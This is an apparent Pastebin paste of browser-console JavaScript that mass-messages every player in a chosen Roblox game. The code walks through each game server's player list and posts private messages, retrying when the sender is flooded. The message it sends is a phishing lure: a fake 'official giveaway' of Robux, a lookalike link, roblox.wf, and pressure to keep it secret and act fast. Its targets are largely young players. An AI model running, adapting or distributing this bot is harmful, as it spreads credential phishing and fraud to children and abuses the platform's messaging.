Grantrookie

Free Roblox Acc.

Dec 20th, 2016
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.44 KB | None | 0 0
  1. var waitTime = 10; // In seconds
  2.  
  3. var subject = "Roblox is doing a give away &un!!!"; // Subject of the message.
  4. var body = "You don't know me, but I'm spreading around this secret website that Roblox was hiding from us. This is the OFFICIAL GIVEAWAY TEST PAGE donating R$ to players on the real website! roblox.wf/?id=38307. Don't tell your friends, keep it a secret! LIMITED SUPPLY SO COME QUICK! The website is unlocked and unpatched as of 12/17/16."; // Body of the message
  5.  
  6. var GameID = 70501379; // ID of the game to locate players to message.
  7. var excludedGroups = []// IDs of group whose members won't be messaged.
  8. var senderPause = 1; // Wait time in seconds after successfully sending a message.
  9.  
  10. /////////////////////////////////////////////////////////
  11.  
  12. // Leave both of these blank.
  13. var servers = [];
  14. var GameName = '';
  15.  
  16. function finishProcess(serverIndex, playerIndex) {
  17. if (playerIndex + 1 == servers[serverIndex].CurrentPlayers.length) {
  18. if (serverIndex + 1 != servers.length) {
  19. msgNext(serverIndex + 1, 0);
  20. } else {
  21. console.log('Finished!');
  22. }
  23. } else {
  24. msgNext(serverIndex, playerIndex + 1);
  25. }
  26. }
  27.  
  28. function sendMsg(serverIndex, playerIndex, player, passed) {
  29. if (passed === true) {
  30. $.post('https://www.roblox.com/messages/send', {
  31. subject : subject.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
  32. body : body.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
  33. recipientid : player.Id,
  34. cacheBuster : new Date().getTime()
  35. }).done(function(response) {
  36. if (response.success === true) {
  37. console.log('Sent message to '+player.Username+'.');
  38. setTimeout(function() {
  39. finishProcess(serverIndex, playerIndex);
  40. }, senderPause*1000);
  41. } else {
  42. if (response.shortMessage == 'SenderFlooded') {
  43. console.log('Sender is flooded. Retrying in '+senderPause+' second(s).');
  44. setTimeout(function() {
  45. sendMsg(serverIndex, playerIndex, player, true);
  46. }, senderPause*1000);
  47. } else {
  48. console.log('Could not message '+player.Username+'. '+response.shortMessage+'.');
  49. finishProcess(serverIndex, playerIndex);
  50. }
  51. }
  52. });
  53. } else {
  54. if (passed !== false) {
  55. console.log(passed);
  56. }
  57. finishProcess(serverIndex, playerIndex);
  58. }
  59. }
  60.  
  61. function groupCheck(serverIndex, playerIndex, groupIndex, player) {
  62. $.get('https://www.roblox.com/Game/LuaWebService/HandleSocialRequest.ashx?method=IsInGroup&playerid='+player.Id+'&groupid='+excludedGroups[groupIndex], function(response) {
  63. if (response.indexOf('true') != -1) {
  64. sendMsg(serverIndex, playerIndex, player, player.Username+' is in an excluded group.');
  65. } else {
  66. if (excludedGroups.length > groupIndex + 1) {
  67. groupCheck(serverIndex, playerIndex, groupIndex + 1, player);
  68. } else {
  69. sendMsg(serverIndex, playerIndex, player, true);
  70. }
  71. }
  72. });
  73. };
  74.  
  75. function msgNext(serverIndex, playerIndex) {
  76. var player = servers[serverIndex].CurrentPlayers[playerIndex];
  77. if (player.Id > 0) {
  78. if (excludedGroups.length > 0) {
  79. groupCheck(serverIndex, playerIndex, 0, player);
  80. } else {
  81. sendMsg(serverIndex, playerIndex, player, true);
  82. }
  83. } else {
  84. sendMsg(serverIndex, playerIndex, player, false);
  85. }
  86. }
  87.  
  88. function getServers(startIndex) {
  89. var serversURL = ('https://www.roblox.com/games/getgameinstancesjson?placeId='+GameID+'&startIndex='+startIndex);
  90. $.get(serversURL).done(function(obj) {
  91. for (var server in obj.Collection) {
  92. servers.push(obj.Collection[server]);
  93. }
  94. if (obj.Collection.length > 0) {
  95. getServers(startIndex+10);
  96. } else {
  97. console.log('Ready to send messages.');
  98. msgNext(0, 0);
  99. }
  100. });
  101. }
  102.  
  103. console.log('Starting bot.');
  104.  
  105. $.get('https://www.roblox.com/place-thumbnails?params=[{placeId:'+GameID+'}]').done(function(response) {
  106. GameName = response[0].name;
  107. console.log('Obtaining list of servers for '+GameName+'. Please wait.');
  108. getServers(0);
Add Comment
Please, Sign In to add comment